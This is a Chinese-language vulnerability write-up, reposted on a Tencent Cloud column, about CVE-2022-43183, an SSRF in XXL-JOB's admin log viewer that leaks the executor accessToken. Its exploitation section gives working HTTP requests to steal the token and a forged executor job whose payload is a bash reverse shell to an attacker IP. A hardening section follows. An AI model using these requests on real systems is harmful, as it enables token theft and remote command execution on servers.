首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >漏洞研究(8):XXL-JOB调度中心后台日志查看SSRF漏洞 CVE-2022-43183

漏洞研究(8):XXL-JOB调度中心后台日志查看SSRF漏洞 CVE-2022-43183

作者头像
OneMoreThink
发布2025-05-17 15:23:23
发布2025-05-17 15:23:23
3200
举报

1. 组件介绍

XXL-JOB是一个分布式任务调度平台,分为调度中心和执行器两部分。

在调度中心添加执行器后,调度中心可以对执行器进行命令执行,属于集权系统,可以帮助攻击者批量获取服务器权限。

同时,通过调度中心横向到执行器,往往可以帮助攻击者实现跨网横移,这在网络策略严格的环境中具有较大价值。

2. 原理与危害

调度中心后台用户查看执行器调度日志时,请求中会指定执行器的IP地址和端口号,让调度中心去该IP地址的执行器获取调度日志。

由于调度中心没有对该IP地址进行校验,因此用户可以指定任意IP地址,导致调度中心后台存在SSRF漏洞。

由于调度中心去执行器的IP地址获取调度日志时,携带了通信密钥accessToken,因此恶意用户可以将执行器的IP地址指定为他可控的HTTP服务器,从而窃取XXL-JOB的通信密钥。

这在恶意用户仅获取XXL-JOB调度中心的普通用户权限时会有价值。当普通权限的恶意用户没有任何执行器的权限,或者只有部分执行器的权限时,攻击者如果想要获取所有执行器的权限

可以利用SSRF漏洞窃取accessToken,进而伪装成调度中心,与所有执行器进行调度通信,对执行器所在的服务器进行任意命令执行,从而获得执行器所在服务器的权限。

参考链接: https://github.com/xuxueli/xxl-job/issues/3002

3. 影响版本

该漏洞已在2.4.0版本修复,受影响版本是XXL-JOB <= 2.3.1

4. 利用方式

第一步:由于这是一个web管理后台的漏洞,因此首先需要通过弱口令、口令泄漏等方式,拿到XXL-JOB的帐号密码,并登录web管理后台,拿到Cookie。

第二步:利用SSRF漏洞,窃取XXL-JOB的accessToken。

代码语言:javascript
复制
POST /xxl-job-admin/joblog/logDetailCat HTTP/1.1
Host: 10.58.81.107:8083
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: xxljob_adminlte_settings=on; XXL_JOB_LOGIN_IDENTITY=7b226964223a312c22757365726e616d65223a2261646d696e222c2270617373776f7264223a226531306164633339343962613539616262653536653035376632306638383365222c22726f6c65223a312c227065726d697373696f6e223a6e756c6c7d
Content-Length: 99

executorAddress=http%3A%2F%2F10.58.81.119%3A1234%2F&triggerTime=1745652569000&logId=2&fromLineNum=1

第三步:利用accessToken,伪装成调度中心与执行器进行调度通信,对执行器所在的服务器执行任意命令,从而获得执行器所在服务器的权限。

代码语言:javascript
复制
POST /run HTTP/1.1
Host: 10.58.81.107:9999
XXL-JOB-ACCESS-TOKEN: OneMoreThink666666
Content-Length: 383

{
  "jobId": 1,
  "executorHandler": "demoJobHandler",
  "executorParams": "demoJobHandler",
  "executorBlockStrategy": "COVER_EARLY",
  "executorTimeout": 0,
  "logId": 1,
  "logDateTime": 1745646241,
  "glueType": "GLUE_SHELL",
  "glueSource": "bash -i >& /dev/tcp/10.58.81.119/8888 0>&1",
  "glueUpdatetime": 1745646241,
  "broadcastIndex": 0,
  "broadcastTotal": 0
}

5. 加固措施

5.1 修改默认口令

点击右上角的欢迎 admin,选择修改密码,修改后会退出登录。

请注意:登录密码不应超过18位,因为前端登录时会对密码进行截取。XXL-JOB >= 2.1.1时前端无法改成超过18位的密码,但XXL-JOB < 2.1.1时可以,导致修改密码后无法登录。

此时使用默认口令登录,提示帐号或密码错误,说明漏洞修复成功。

5.2 限制端口访问

执行器所在的服务器中配置本地防火墙,只允许调度中心访问执行器的9999端口。

代码语言:javascript
复制
# 如果担心已有规则干扰,可将允许规则插入到链的顶部。
# 即时调度中心和执行器在同一台服务器中,该命令不会影响调度中心对执行器的正常通信。
iptables -I INPUT 1 -p tcp -s 10.58.81.107 --dport 9999 -j ACCEPT

# 拒绝其他所有IP访问9999端口
iptables -A INPUT -p tcp --dport 9999 -j DROP

# 永久保存规则(CentOS中)
yum install iptables-services -y && service iptables save && systemctl enable iptables

再次对执行器进行未授权任意代码执行,如果没有响应,连接失败,说明漏洞修复成功。

5.3 升级至安全版本

建议升级至2.4.1及以上版本。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2025-05-16,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 OneMoreThink 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1. 组件介绍
  • 2. 原理与危害
  • 3. 影响版本
  • 4. 利用方式
  • 5. 加固措施
    • 5.1 修改默认口令
    • 5.2 限制端口访问
    • 5.3 升级至安全版本
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档